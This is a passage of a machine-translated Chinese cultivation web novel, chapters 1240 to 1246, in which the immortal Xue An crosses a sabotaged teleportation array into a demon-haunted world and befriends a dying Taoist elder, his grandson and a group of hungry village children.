    An Yan''s eyes widened once again, pointing to the mountain of wealth, "Is this nothing?"


    Huying nodded with a smile, and said proudly: "In my opinion, this Lihentianjun is like a country rich man."


    An Yan couldn''t help being unbelievable.


    At this time, Xue An explained with a smile: "Yan''er, if this is spoken from someone else''s mouth, it may be suspected of bragging, but it is normal to say it from Ying''er''s mouth, because among the heavens, In terms of the amount of wealth accumulated, the first place is naturally the stingy and greedy dragon clan, and the second is the old foxes from the Qingqiu Fox Country!"


    An Yan nodded blankly, obviously still unable to understand the meaning of this sentence.


    While Zhang Xiaoyu on the side heard Xue An��s words, his eyes lit up, and then he hurriedly asked: "My lord, since you talked about the dragon clan, when do we go to rescue Xiaosha boss?"


    Xue An smiled and said, "Don''t worry, I have been thinking about this! But the place where the Dragon Race lives is extremely remote, even a place independent of the heavens! It''s hard to get past us now. ,and����."


    Speaking of this, Xue An��s face showed a weird look, ��Even if we pass now, with my current strength, it��s hard to make those big mud loaches obedient! After all, the origin of the holy land is the holy land of the dragon clan. The stingy character of those old loaches will never come out easily!"


    Zhang Xiaoyu lowered his head sadly.


    Xue An laughed when he saw this, "Well, don''t worry, I will do what I say, and I will recover some strength after I get back to my strength. Needless to say, I have to go to the dragon clan. After all, I haven''t been there for so long. I��ve saved a lot of good things, and if I keep them in their hands, I will leave them moldy in the cave, so I might as well take them out for fun!"


    In words, it seems that the dragon clan has become his back garden.


    Fox Ying heard the words and smiled with her mouth turned into a crescent shape.


    Because she naturally knows how Xue An cleaned up those stingy dragons.


    It can be said that, in the past, with the strength of the dragon clan, among the heavens, it can be said that the gods and ghosts are not afraid of no one to provoke them.


    But this group of dragons was in poor luck, and unexpectedly met Xue An, a peerless immortal statue never seen before.


    From now on, this group of dragons can be said to cry without tears, one head and two big.


    Because Xue An arranged them clearly.


    But I can''t beat it again, I can only vomit blood and pay money to keep it safe.


    When Xue An said this, Zhang Xiaoyu became happy again, nodded vigorously and said: "Yeah! When I was washing the eggshells for Master Xiaosha recently, I found that she seemed to be a little bigger than before. , Da admit, is Master Xiaosha growing up?"


    "Dragons are like this in the first place. Once they die, they may die out or rebirth with difficulty! This is Xiao Sha''s chance!" Xue An said lightly.


    Zhang Xiaoyu nodded as if he didn''t understand. She didn''t understand the chance.


    But anyway, hearing Master Xiaosha still hope to come alive, Zhang Xiaoyu''s heart is full of joy.


    Master Xiaosha, you must be good, I''m still waiting for you to wake up! Zhang Xiaoyu thought silently.


    At this moment, An Yan asked: "Husband, what about these things?"


    Xue An smiled, "Since I saw it, I can''t let it go, put it in the Fubao Xiaolou, and make Xiaosha a separate nest. In this way, these treasures can also help Xiaosha recover as soon as possible!"


    Dragons are extremely greedy for money, Xiaosha is a dragon, and of course it is no exception.


    And using these treasures to make Xiaosha a lair, although it can''t wake her up, it is also very helpful.


    This method can be described as a different way, not that no one has thought of it, but no one is willing to do it!


    Among the heavens, Xue An also had such a big handwriting, and he actually used this infinite wealth to make a nest for a dying dragon.


    An Yan and others naturally have no objection. Although Huying understands this truth, as the princess of the Qingqiu Fox Country, she really doesn''t look at this thing about Li Hentian.


    At this time, Xue An waved his hand, Fu Bao Xiaolou appeared in the floating air, and then saw Guanghua flash, wherever he passed, wealth flew up, and then scrambled to rush into it.


    Even at this speed, he still absorbed a full meal before he sucked all the treasures into the Fubao Xiaolou.


    But at this moment, Xue An suddenly whispered, because after the mountain of treasures disappeared, there was a brilliance floating in the air, and he was not moved by the brilliance of the Fubao Xiaolou.


    Xue An''s heart moved, and then before coming to this brilliance, Xue An''s complexion suddenly became awe-inspiring after waiting for a closer look.


    Because he saw that in this brilliance, it was a three-pointed two-edged sword.


    said it was a knife, but the three blades were actually three dragon heads, but because of the age, these three dragons had already died.


    But even so, I can still feel the murderous intent emanating from this magic weapon.


    At this time, An Yan also came to Xue An''s approach, and when he saw this three-pointed two-edged sword, he was also taken aback.


    "Husband, this is..."


    Xue An took a deep breath, "Yes, this is the weapon of God Erlang!"


    As he said, Xue An stretched out his hand and slowly dived into Guanghua, holding this magic weapon As soon as he started his hand, this three-pointed two-edged knife trembled suddenly and began to resist, but because Being imprisoned here for too long, this magic weapon has been extremely weak, but even so it is resisting, which shows the fierce temperament of this weapon.


    Xue An sighed lightly, and Guanghua flashed in his eyes, and temporarily sealed the magic weapon, and then slowly pulled it out.


    At this time, people could see that the three-pointed two-edged knife was scarred and bloody, and even after so long, people could still feel the tragic of the war.


    Xue An gently stroked this magic weapon.


    Everyone was silent.


    After a while, Xue An just regained consciousness, and then smiled, "Since it is the weapon left by Senior Erlang, don''t take it away! Leave it to Jiang Xunnan and the others to wait for the return of the sky!"


    As he said, Xue An raised his hand and danced the three-pointed two-edged sword into a sword, and then stab it forward.


    This magic weapon penetrated the space and disappeared.


    At the same time, in the Temple of Lihen, Jiang Xunnan, who was discussing matters with Drunken Dream and Yan Meishu, suddenly felt that the space next to him was shaken, before she could react.


    This three-pointed, two-edged sword has penetrated the void and flew to her.


    Everyone was taken aback, and Xue An''s voice came from the three-pointed two-edged sword.


    "This sword is the weapon of Jiro''s predecessors, Xunnan, you can keep it for life, and wait for the return of General Xu Tian!".


    Jiang Xunnan''s face was grimace after hearing the words, and he said, "Yes!"


    Then Xue An said lightly: "This matter is over, the three of you are in charge of this world, I will wait!"

 Chapter 1241： Teleport the circle to leave the gods

    After all the treasures were sucked into the Talisman Small Building, on the ground of this space, a series of dense runes appeared on the ground, and the vast area directly occupied this entire space.


    Fox Ying was taken aback when she saw this, "This is..."


    Xue An nodded, "Yes, this is the teleportation circle left by Li Hentian!"


    Fox Ying''s eyes gradually lighted up, and said excitedly: "I didn''t expect this Lihentianjun to have such a handwriting!"


    An Yan asked with some confusion: "Is this thing rare?"


    Xue An smiled, "It''s not uncommon, but it takes a huge amount of energy to travel directly among the heavens, and ordinary small sects or worlds with weak spiritual power can''t support it! This God Realm is too powerful to support such a huge magic circle!"


    "Oh! It turned out to be like this!" An Yan nodded, then looked at this huge teleportation circle, and suddenly asked, "Husband, where is the other end of the teleportation circle...?"


    Huying also asked curiously: "Yes, Brother Xue! I think this magic circle is so large, obviously the distance of transmission is extremely long, where does it lead to?"


    Xue An chuckled lightly, "This... after waiting, you will naturally know! Now, you should go back to Fubao Xiaolou first!"


    An Yan wanted to speak again, but in the end he nodded obediently, and then returned to Fubao Xiaolou.


    Huying was reluctant.


    "Oh, Brother Xue, it''s so boring inside! Why don''t you let me teleport with you! I haven''t passed the teleportation circle for a long time!"


    Xue Anping was just as fond of this fox as he did to his sister, but he firmly disagreed with this matter.


    In the end, no matter how Hu Ying interceded, Xue An resolutely sent him back to the Fu Bao Xiaolou, and carefully placed the Fu Bao Xiaolou in his own sea of ??knowledge.


    After everything was processed, Xue An looked around, then took a slow and deep breath, a coldness flashed in his eyes.


    "Old friend, I hope you can give me a reasonable explanation after I get to your site, otherwise...Don''t blame me for being rude to you!"


    After that, Xue Anjian raised his eyebrows, raised his hand, and suddenly pushed it down.


    After ���� there was a bang, but saw a brilliance centered on Xue An''s palm, spreading quickly.


    In an instant, the entire teleportation circle was activated by Xue An''s palm.


    But seeing the golden light soaring into the sky, the space that was disturbed was shaking.


    Xue stood quietly among the golden light, looking up.


    Through the memory left by Li Hen Tianjun and Ziwei Star Lord, Xue An naturally knew how to use this teleportation circle, so there were not too many visions in the unexpected world.


    At the same time, I saw Jin Guang getting more and more powerful, and even tore the space out of the cracks.


    The violent turbulent flow of time and space gushes out, making the surrounding environment chaotic into a pot of porridge.


    But regardless of the golden light or the turbulence of time and space, when he came to Xue An''s body for a distance of ten steps, he quickly dissipated invisible.


    at last.


    The teleportation array under his feet heard an overwhelmed groan, and the surging golden light directly tore a large hole in the space, and the golden light poured in directly and began to build a space-time channel inside.


    In an instant, a gate of time and space with brilliant golden light appeared in front of Xue An.


    Xue An narrowed his gaze, and layers of sword light and flames suddenly rose up around his body, and then stepped out one step and stepped into the gate of time and space.


    And at the moment when Xue An''s figure disappeared behind the gate of time and space, the rune pattern in a certain part of the teleportation circle suddenly began to deform.


    You have to know that the rune pattern requirements of this teleportation circle are extremely strict, and a little mistake may be a thousand miles away.


    What''s more, such a large area of ??distortion.


    At this time, the entire teleportation array began to tremble slightly, and then bursts of cracks suddenly, and the gate of time and space began to sway, and finally collapsed and returned to nothingness.


    After this teleportation circle was completely destroyed, when Yi Wei set up the teleportation circle, the obsession left by Li Hentian Jun let out a triumphant sneer, and then completely dissipated, and disappeared.


    at the same time.


    Xue An''s face changed abruptly when he was traveling through the passage of time and space, because he found that the pressure around him suddenly began to increase, and the violent turbulence of time and space was even more about to move.


    Xue An''s heart moved, Xuan even understood.


    "It''s a deep scheming. When setting up the teleportation circle, I buried a piece of my obsession. If the condition is not triggered, there will be no interference with the outside world, which means that it will not be checked by normal means. Come out! And what you do, is you want to kill all those who pass through the circle?" Xue An said coldly.


    "Unfortunately, what you think is still too simple!"


    After all, Xue An waved his hand abruptly, and saw a golden light appeared in front of him, and then rapidly expanded. When it was fully expanded, it was the starship that Xue An had captured from the Tianlong clan.


    Then Xue An took a deep breath, and with a flash of figure, he entered the star ship.


    is the moment when his figure disappeared The space-time channel burst into pieces, and the violent and tyrannical space-time turbulence poured in, strangling everything.


    The cross-sea star boat was also shocked, but it withstood the shock.


    Xue An stood in front of the porthole of the cross-sea star boat, looking at the incomparably messy space ahead.


    If it were someone else, I would have already panicked.


    After all, even if you temporarily escaped the erosion of the turbulence of time and space, but lost the time and space coordinates, you will always wander in this time and space.


    But Xue An didn''t panic, because at the moment when he just entered this space-time passage, Xue An had already directly positioned the coordinates at the other end through his extremely large mind.


    This is also a habit of Xue An. Before doing anything, he will leave himself a way out.


    In this way, even if something happens in the space-time channel, he can fly directly through the previous location.


    Therefore, Xue An smiled coldly, with a glimmer of light in his eyes, he steered the sea star boat to split the layers of mist and galloped away to an unknown distance.


    I don��t know how long it has been, because in this gap between time and space, time has lost its original meaning. .


    Just when this sea-crossing starship was already scarred and seemed to fall down at any time, a light suddenly appeared in front of it.


    Xue An, who seemed a little tired because he had manipulated the starship with powerful spiritual thoughts for days and avoided the cracks and vortexes along the way, slightly shook, and then began to urge his cultivation with all his strength. In the same way, with a decisive attitude, he rushed directly before the dawn.

 Chapter 1242： Strange world Qi disorder

    After a huge tremor, Xue An felt as if he had passed through a layer of soap bubbles. The scenery in front of him changed and he had obviously left the gap between time and space and entered a new world.


    At the same time, this sea starship finally completed its mission, disintegrating directly, turning into fragments, and then falling straight down, turning into a little meteor.


    Xue An only discovered that the place where he appeared was a great sky.


    At this moment is the hour of night, the night sky is like washing, a round of demon-red moon is high in the sky.


    High above the sky, strong wind and extremely low temperature.


    Xue An��s complexion changed, not because of the environment at the moment, but because he could clearly feel the strangeness and unusualness of this heaven and earth Qi.


    Generally speaking, although the heavens are vast, the world can be divided into so many kinds, the big world with complete spiritual power, or the small world with general spiritual power, and even the collapse of spiritual power without the loss of heaven. The world also exists in it.


    This is nothing strange.


    But the problem is that in the current world, the Qi machine of the world is extremely violent and chaotic.


    All kinds of spiritual power are mixed together, it is like a mess.


    It stands to reason that under such violent heaven and earth, this world should have exploded long ago.


    But now I look down, even though everything is hidden in the darkness, I can still clearly feel the breath of life above the earth.


    This shows that not only does this world exist, it also exists very well, and there are even a lot of life.


    This is so strange.


    Even Xue An, who was once the Immortal Venerable, has never seen such a weird world.


    Immediately, a cold smile appeared on the corners of Xue An''s mouth.


    Because even though the Qi machine is extremely disordered, Xue An can still feel that the main color of this world, or the background of all Qi machines, is an extremely cold shade.


    If this is the case, then it means that I did not go the wrong way, at most, the position is a little off.


    Thinking of this, Xue An''s eyes flashed with brilliance, and then his figure fell straight down.


    With the decrease in altitude, Xue An can feel that the degree of disorder of the Qi and Qi in the surroundings is gradually deepening.


    At the end, when Xue An finally landed in a field of mountains and forests, the Qi machine had been disordered to the point of being frantic.


    All kinds of auras collided almost violently, offsetting each other''s energy.


    If only by the strength of spiritual power, this world is even stronger than Li Hentian.


    But because of this almost crazy disorder and internal friction, the spiritual power here is even lower than that on Earth.


    Xue An felt that his figure was sinking along with it, and his masterful mind and cultivation level were also affected to varying degrees.


    If you can describe it in one sentence, this world is like a forest of magnets composed of countless strong magnets, and the practitioner is like steel.


    When you step into it, you will naturally be restrained to varying degrees.


    Xue An smiled, didn''t care too much about it, but looked at the surrounding environment.


    The place where he landed was a dark wood.


    At this moment, it was midnight in the middle of the moon, and the surroundings were extremely silent, and there was not even the slightest noise in the woods.


    Xue An raised his eyebrows slightly, then turned his head to look in a certain direction, his figure flashed, and then disappeared.


    After his body disappeared, there was a rustling sound from the ground suddenly, and the surrounding woods started to stretch out the branches wantonly, and then knotted together.


    From the ground, the roots of the trees arched out of the ground like a group of snakes, greedily feeling the smell left by Xue An.


    "Jie Jie, there is another fresh blood, go and tell the adults!"


    After that, these tree roots burrowed into the ground again and disappeared.


    At the same time, Xue An has already passed through layers of dense forest and came to the side of a big road.


    said it was a big road, but in fact it was just a loess road, but in this desolate mountain and wilderness, it is quite good to have such a road.


    And Xue An can see that the trees and weeds on both sides are distinct from the road, and they have not even touched the official road at all.


    Xue An turned around and looked at the dark woods when he was looking, with a smile on his face, then turned to look forward and walked away.


    Even though he was suppressed by the violent Qi machine, at his current speed, but the scene of a cup of tea, lights loomed in the distance.


    Xue An slowed down, and then came to a small town.


    This small town is located next to the official road. It is not large in scale, but the city walls are high, the gates are closed, and in every corner of the city walls, countless Chinese characters are written in Zhubi.


    It was obvious that these seals were written not long ago, and the bright red color was illuminated by this mysterious red moon, which made it even more crippled in the quiet surroundings last year.


    Xue An stared at the quietly standing town.


    The lights he saw in the distance were from the two red lanterns hanging beside the city gate.


    This kind of red lantern is usually used for marriage, but at this moment it appears in the wilderness, and the lantern is blown slightly by the wind, and the sound of the whimper in the distance is even more creepy.


    Xue An just smiled Then he walked straight to a shabby tea shed under the city wall, sat directly on the untaken bench, and waited quietly.


    The moon gradually fell to the west, the red lights swayed endlessly, and the surrounding environment gradually became silent.


    Xue An leaned on a pillar of the tea shed, closing his eyes as if sleeping in a fake sleep.


    At this moment, I heard a woman crying from a distance.


    crying and sobbing, it is unbearable to hear.


    And with the crying, an erratic female voice came over.


    "Woo, I''m so painful, where are my hands and eyes!"


    began to sound very far away, but in an instant, it had come close.


    But at this moment, Xue An didn''t lift his eyelids, but gave a cold drink.


    "Go!"


    gave an order, like thunder.


    There was a terrible cry in the darkness, and then it seemed as if something had exploded, and all the noise disappeared.


    Xue An''s mouth showed a sneer.


    And the rest of the time, everything is fine.


    at last.


    Dawn breaks in the east, and the world gradually becomes clearer.


    After the two red lights above the city head went out, the city gate opened slowly. .


    An old man who was watching the night came out from behind the city gate yawning, and just about to stretch out, he happened to see Xue An under the tea shed. His figure was first stagnant, and then he was dumbfounded.


    At this time, Xue An stood up slowly and smiled at the old man, "Hello, I''ll stay for the night!"

 Chapter 1243： Demons are rampant in a small town

    The look on the old man��s face was as if he had seen a ghost, he was shaking like chaff, "You...are you staying here all night?"


    Xue An smiled faintly, "Yes!"


    The old man''s complexion changed, he took a deep look at Xue An, then took out a bamboo whistle from his arms and blew it vigorously.


    The whistle was sharp, spreading everywhere.


    In an instant, from behind the city gate, the crowd rushed out like a tide, everyone holding sticks and forks in their hands, and then they all gathered together, looking at Xue An with horror and fear.


    Xue An was startled slightly, and when he saw that these people were all in ragged clothes and look like dishes, he couldn''t help but sighed, then smiled.


    "What? Can''t even a passer-by be taken in here?"


    The crowd is still silent.


    At this moment, only a weak and old voice came from the city.


    "Let him in, he is not a demon!"


    After saying this, there were several coughs faintly, as if such a simple sentence had already made the voice owner unable to bear it.


    There was a slight commotion among the crowd, but the voice was obviously very prestigious, and everyone''s faces showed a relieved expression, and then they separated on the two sides and stepped aside.


    Xue An smiled, and then stepped inside.


    After passing through the city gate, one can see rows of low and dilapidated houses. Unexpectedly, although the street is not very spacious, it is very clean.


    At this moment, the whole town has been alarmed. When Xue An walked across the street, a lot of heads appeared in the houses or alleys on both sides of the road.


    Many people looked at Xue An with curious eyes.


    Especially many children watched with excitement. One even pointed at Xue An and shouted in a childish voice: "Mother, this brother walks so beautifully!"


    Xue An turned his head when he heard the words, and saw a girl who was only eight or nine years old looking at him.


    Xue An smiled at her slightly.


    The girl was taken aback, but before she had any reaction, she was dragged into the room by a woman in shabby clothes, and then she heard the sound of scolding and crying from the child.


    Xue An touched his nose in embarrassment, and then continued to walk forward.


    The town is not big, and it''s only a few hundred meters from one end to the other.


    After waiting for a round, Xue An discovered that all businesses in this small town were dying, not to mention the inn, there was not even a place to eat on the street.


    Only a small vermilion building stands in the middle of the town, but it seems to be in disrepair for a long time, and it is even a little skewed, as if it would fall over at any time.


    At this moment, I saw that the door of the vermilion building was pushed open, and then a fifteen or sixteen-year-old boy walked out of it.


    This young man is dressed in coarse cloth. His figure is thin and delicate, and his appearance can be called delicate, but there is an unspeakable arrogance between his brows and eyes.


    But at this moment, the young man''s face was covered with a faint worry, then he raised his head and said coldly at Xue An: "Outsiders, please come in, my grandfather wants to see you!"


    After that, the boy turned around and left without any hesitation.


    Xue An didn''t care at all, but happily followed the young man into this vermilion small building.


    As soon as he entered the door, a strong herbal scent came on his face.


    The light in the room was extremely dark, and the windows were tightly sealed, and even a trace of light could not penetrate.


    In the huge hall, only an oil lamp on the table emits a dim light, which can barely make people see the surrounding layout.


    On the bed next to the table, an elderly man was sitting against the wall, breathing quickly and painfully.


    His lungs are like a broken bellows that is about to fall apart. Every breath is so hard, and with a lot of noise, it sounds so harsh.


    But even so, the old man''s eyes are still extremely bright, and even in this dark room they are similar to two spirit beads.


    Especially after seeing Xue An walk in, the brilliance in the eyes of the old man is more glorious, his eyes are like a blade, and he is looking at Xue An bit by bit.


    In this regard, Xue An only smiled slightly, stood calmly, and faced the old man''s gaze without any intention of avoiding it.


    This kind of reaction caused the old man to be slightly taken aback.


    Because he knows how sharp his eyes are, let alone ordinary people, even masters of martial arts, when he is caught off guard, his mind will be shaken.


    But the white-clothed boy didn''t have any expression, and he took it all calmly.


    Could it be that he is a master of martial arts? But the appearance is not like it!


    Or is it a successor of Taoism?


    But there is no Dao Fa fluctuation on his body.


    And in the old man''s divine mind, Xue An is just like an ordinary young man, without any surprises.


    This stunned the old man, or it may be because he was too surprised, the old man suddenly began to cough violently.


    This kind of cough is not the same as an ordinary person''s cough, and the sound is so violent that it seems to cough out one''s lungs.


    The young man rushed up almost instantly, and then familiarly knocked the old man on the back.


    But even so, a long time passed before the old man''s coughing gradually stopped, and then he began to gasp violently.


    A look of sadness appeared in the boy''s eyes, "Grandpa..."


    The old man waved his hand to signal that he was okay, then raised his head again to look at Xue An.


    "Young man, did you stay in the tea shed outside the city last night?"


    Xue An nodded.


    The old man''s complexion changed, "Then how did you come here?"


    Xue An smiled, "Naturally follow the official road!"


    Xue An''s words changed the youth''s complexion.


    The old man took a deep look at Xue An, "Then how long are you going to live here?"


    "That''s not sure may leave in a day or two, or it may take three to five months!" Xue An said lightly.


    The old man was silent for a while, and then nodded, "Alright! Since I am a passing guest, I won''t be able to tolerate it here, Yushu, take this young man down to arrange a place to live!"


    The boy was a little bit stunned, but in the end he still responded in a low voice, "Yes!"


    After all, this boy named Yushu came forward and said coldly: "Come with me!"


    After saying this, he turned his head and left, and his words seemed to be full of hostility towards Xue An.


    Xue An didn''t take it seriously, but just bowed his hand at the old man, "If this is the case, then I''m bothering you!"


    After ���� said, he followed the jade book with a smile.


    Although the town is small, there are many vacancies.


    Not far from this vermilion small building, it is an abandoned house.


    Yushu opened the door and led Xue An into it.


    The room was deserted and deserted, except for the simple tables, chairs and beds.


    "This is where you live, you can take care of the meal yourself!" the boy said coldly.


    Xue An is not picky, but nodded with a smile, "Thank you!"


    But at this moment, the young man suddenly deceived him and stood directly at a distance of less than one meter from Xue An, and then stared at Xue An firmly, and said in a cold voice.


    "I don''t care where you are sacred, but now that you have come to my Sealed Demon Town, you must abide by the rules here. My grandfather is like this, and my grandfather is not here, so it is the same. You... understand?

 Chapter 1244： Dao Fa inheritor

    Cold words, extremely tough attitude.


    But Xue An laughed.


    Because in his eyes, this boy who is only fifteen or six years old is like a cat who has been violated in the territory, and he can only express his existence fiercely in this way.


    But his smile made the teenager even more dissatisfied. With his eyebrows raised, a talisman seal appeared on the top of Xue An''s head in an instant, and he said coldly.


    "Why are you laughing?"


    Xue An''s laughter gradually narrowed, his eyes swept over the talisman seal, and then he said lightly: "It''s nothing, I just think I''m just a passerby. As for you to value it so much?"


    The boy snorted coldly, and did not respond to Xue An''s words, but took a step back, Fu Zhuan returned to nothingness, and then turned around and left.


    Until he had walked to the door, he said without looking back: "It doesn''t matter if you are a passer-by or not! Although I don''t know why Grandpa let you live, you must be honest. , Otherwise... the talisman just now is not vegetarian!"


    After finishing speaking, the young man left in strides.


    Xue An looked at the young man''s back, and the corners of his mouth gradually raised a faint smile, the brilliance in his eyes flickered slightly, and he whispered softly.


    "It''s really interesting! The talisman seal just now is actually an authentic Taoist technique! It seems that this small town is really not that simple!"


    at the same time.


    The young man had returned to the room, and the old man had fallen asleep half leaning against the wall.


    Seeing this, the boy walked in lightly.


    But even though his movements were extremely slight, he still awakened the old man.


    I saw the old man slowly opening his eyes, "Are you settled?"


    The young man nodded silently, then walked to the old man and started massaging his back very familiar.


    While massaging, the palm of the boy showed his debut.


    But no matter how hard you use, these brilliance just float on the surface of the old man''s back, and cannot penetrate at all.


    The old man smiled, "After finishing the book, don''t waste your spiritual energy in vain!"


    The boy was still silent, but a touch of sadness and anxiety flashed through his drooping eyes.


    The old man said softly, "Shu''er, are you a little puzzled, why should I let this young man of unknown origin live?"


    The young man was silent for a moment, and then said: "Since Grandpa did this, there are naturally reasons why Yushu dare not speculate!"


    The old man laughed, "Silly boy, your dull character, but it''s easy to hurt yourself!"


    Yushu trembled slightly, but did not speak.


    "Actually, I don''t know the origin of this boy!" The old man said softly.


    The boy was startled.


    "But although I can''t see through, I have an intuition that this boy is by no means a bad person! And..."


    There was a dignified look in the eyes of the old man, "Last night I felt a tyrannical yin aura from outside the city. It is so powerful that it is by no means an ordinary ghost, and the lowest level must be a true fairy!"


    He heard that he was a real fairy-level demon, his face changed drastically.


    "But this demon disappeared after a terrible cry! Then in the morning, I found this young man in a tea shed outside the city. If you say that, then this young man and that demon will have disappeared thousands of times. He even wiped out the silky ties."


    The young man''s complexion turned pale, but after a moment of indulgence, he couldn''t help but said, "But grandpa, if he can destroy even a real fairy-level demon, how can he be a lonely and unknown person? But this person, We must have never seen it before, or even heard the slightest rumors!"


    The old man smiled bitterly, "Who knows! But it doesn''t matter whether it is or not! Since he came to me to seal the magic town at this time, it means that it was all by chance. After all...I can''t last long!"


    Speaking of this, the old man suddenly became a little excited, and then he started coughing violently.


    This time the cough was worse than before, and he even vomited a mouthful of dark red blood after opening his mouth.


    The young man screamed when he saw it, rushed forward, took out a flawless jade bottle from his arms, poured out a pill of exquisite and clear medicine, and was about to feed it to the old man.


    The old man waved his hand, then panted and said, "The pill left by Mr. Yaogui is already left. Don''t waste it at this time!"


    "But..." the boy said anxiously.


    At this time, the old man''s coughing gradually stopped, but the coughing exhausted his whole body, and he couldn''t even lift his head. He could only lie on the bed and said in an extremely tired tone: "It''s useless, Mr. Yaogui once said to me that there is no medicine in the world that can cure my disease, and this pill is just to delay it! So I''ll save it and wait... the next time I will use it!"


    "Grandpa..." I heard tears from the boy''s eyes the next time.


    The old man stretched out his hand and gently rubbed his forehead, "Silly boy, didn''t I tell you? Don''t cry, even if I''m gone, I have to walk the rest of the road!"


    The boy lowered his head, and silently, tears ran across his cheeks, dripping on the floor below his feet.


    The old man lay on the bed, and until a long time later, he said softly: "If... next time I can''t suppress ghost poison, remember to kill me ahead of time!"


    "Grandpa..."


    "Huh? As a child of the Xing family, a successor of Taoism! How can you cry like this? Answer me!" The old man exhausted his last bit of strength and shouted angrily.


    "Yes...Yes!" The boy''s voice trembled but he said firmly.


    "Very good! Go down and rest!" the old man said tiredly.


    The boy stood up silently, turned and left the room.


    The old man looked at Xing Yushu''s back, and his eyes showed love and distress, and he thought of it silently.


    Shuer, these responsibilities may be too heavy for you, but as a child of the Xing family, all this has been doomed since you were born, so grandpa can only do this... it is not close to humanity.


    at the same time.


    Xue An raised his head, looked at the Zhuhong Xiaolou in the distance, sighed lightly, and said lightly: "Drawing symbols with blood, and even exhaustion of essence and blood, and he has been poisoned before. This situation, can It��s a miracle to live up to now!"


    When he first saw the old man, Xue An knew that he would not live long.


    Because he was already poisoned by himself, but he spent his blood to write the talisman seals, the talisman seals outside the city were obviously from his handwriting.


    Under such circumstances, even Xue An could not save him.


    At this moment, a small head popped out of the window, and then looked at Xue An in the room curiously.


    Xue An was taken aback for a moment, then laughed.


    Because I came, I saw the kid on the street during the day. .


    Looking at this girl who is slightly older than his own daughter, but because of chronic malnutrition, Xue An can''t help but sigh a little, then raised his hand and took out a handful of candy, and passed it through the window.


    "Hey, girl, brother, please eat sweets!"

 Chapter 1245： The temptation of candy

    The white toffee is wrapped in a gorgeous sugar paper, exuding an attractive aroma.


    The little girl swallowed subconsciously, then raised her head and looked at Xue An in a daze.


    Xue An smiled slightly, "Take it and eat! It''s for you!"


    said, then passed it forward.


    The little girl took a step back in fear, but for a child, the temptation of this candy is simply too great.


    So even though she took a few steps back, her eyes were still staring straight at the toffee in Xue An''s hand.


    Xue An could not help but squeezed all the candy in his hand to the little girl.


    "Eat! It''s all for you!" Xue An said with a smile.


    The little girl hesitated for a long time, but finally couldn''t resist the temptation, carefully picked up one, peeled off the candy wrapper, and put the toffee into her mouth.


    When the soft sweetness of toffee exploded in the mouth, the expression on the little girl''s face instantly froze.


    "Is it delicious?" Xue An asked softly.


    As soon as ���� finished her words, she saw big tears in the eyes of the little girl, and nodded vigorously.


    Xue An sighed secretly, just about to say something.


    I saw this little girl bending over and picking up the piece of candy paper that had just been thrown away from the ground, holding it cherished and precious in her hand, and then bowing to Xue An very solemnly.


    "Thank you brother!"


    After saying this, the little girl turned and ran away like a frightened deer.


    Xue An stood in front of the window, looked at the little girl whose back was about the same size as his own daughter, chuckled lightly, a soft light appeared in his eyes.


    This incident was just a trivial episode for Xue An, so he didn''t care about it at all.


    The most important thing for him now is to figure out where the world is located in the heavens and why it became like this.


    Although there is still very little useful information, Xue An still summed up a few points from what he saw and heard along the way.


    First of all, this world is definitely not what it is, there must be some reason for this.


    Next, there are demons in this world.


    Xue An was not surprised by this conclusion.


    Because when he first entered this realm, Xue An felt that even in the world qi machine where various spiritual powers are fighting each other, Yin Qi still occupies a dominant position.


    In such a situation, if there is no demon, then it is really a ghost.


    Finally, and the most important point is that Taoism actually exists in this world.


    It sounds like nothing unusual.


    After all, Taoism is considered a big genre among the heavens.


    But the point is that Xue An felt a trace of orthodox Chinese Taoism from Xing Yushu.


    This is a bit worth pondering.


    You must know the distance from the earth here, you can''t count it by the truth.


    But why does Taoism exist here?


    What''s more, even if the air machine is disordered here, it can be seen that it belongs to that guy''s chassis.


    Under his rule, how could the existence of Taoism that can restrain the people of other tribes be allowed?


    These all made Xue An feel a little confused.


    Can be helpless, the information available now is too little, even if I want to continue the analysis, I can��t do it.


    Xue An shook his head, put everything behind him, and then went out to find something to eat.


    With his current cultivation base, of course he doesn��t need to eat anymore.


    But Xue An has always felt that as a human, you have to eat. If you are really bigu and peerless, wouldn��t it be less fun?


    So even when he was a fairy in his previous life, Xue An never stopped eating, and most liked to eat all kinds of messy and strange snacks in the heavens.


    That''s why Xue An has such a good cooking skill.


    came to this world this time, and naturally it was no exception.


    But when Xue An had just walked out of the room, he was taken aback.


    Because a lot of small heads suddenly appeared on the courtyard wall.


    When they saw themselves coming out, these little heads all shrank back in shock.


    Xue An understood in his heart, he couldn''t help but smile, "Okay, come out!"


    Following his voice, I saw the courtyard door was gently pushed open a gap, the little girl who had been here before walked forward with her hands on her back, followed by a long walk of children, filed into the courtyard. Among.


    Xue An stood on the steps and watched quietly.


    When the crowd walked in, all these little guys stood far away with their hands behind their backs, secretly looking at Xue An.


    Then the little girl raised her head, stretched out her hands, and took out a small basket hidden behind her back.


    The small basket is very old but very clean.


    In the small basket, there are a lot of dry cakes or steamed buns neatly stacked.


    There is even a small piece of oily fat in it.


    Then I saw the little girl take a deep breath, stepped forward, and handed the small basket to Xue An.


    "Brother eat!"


    Xue An looked at these dry cakes or steamed buns of different sizes and shapes, was silent for a moment, and suddenly smiled.


    "Thank you!"


    Hearing Xue An''s words, the little girl''s eyes turned into crescent crescents.


    "Is there any sugar?" Xue An asked.


    The little girl was taken aback, then nodded vigorously, and took out the neat stacks of candy paper from her arms. Inside was a piece of toffee that had already melted a little.


    Xue An was stunned. At the same time, the little girl pointed at the children who were not much younger than her with a proud look.


    "Let my brother see!"


    When these little guys heard the words, they stretched out their hands opened their palms, and their hands were filled with divided pieces of candy.


    Xue An looked a little startled.


    Because he discovered that these candies were given to this little girl, but at this moment, she gave them all to these little friends.


    Even because there are more people and less sugar, the sugar is divided into equal-sized pieces.


    And the joy on the faces of these shabby children is from the heart.


    Xue An smiled slightly, then gave the little girl a thumbs up, "Awesome!"


    was praised, and the smile on the little girl''s face was even greater.


    At the same time, Xue An took out two large bags of candies from the portable space.


    "This is your reward!"


    These two big bags of colorful candies made the little girl and all the children in the yard look silly.


    After a while, the little girl raised her head and looked at Xue An in a daze.


    "Brother, this..."


    "Take it and eat! Not enough for me!" Xue An said with a smile.


    The little girl cheered, rushed forward to pick up the candy, did not leave, but shared with the children on the spot.


    After each child has divided more than one piece of candy, many impatients immediately peeled one piece and ate it in their mouths. .


    But more of them are almost religiously peeling off the sugar paper, and then eating it carefully.


    For all of them, this luscious toffee is simply the best food in the world.

 Chapter 1246： On the moon in the sky, the demon strikes

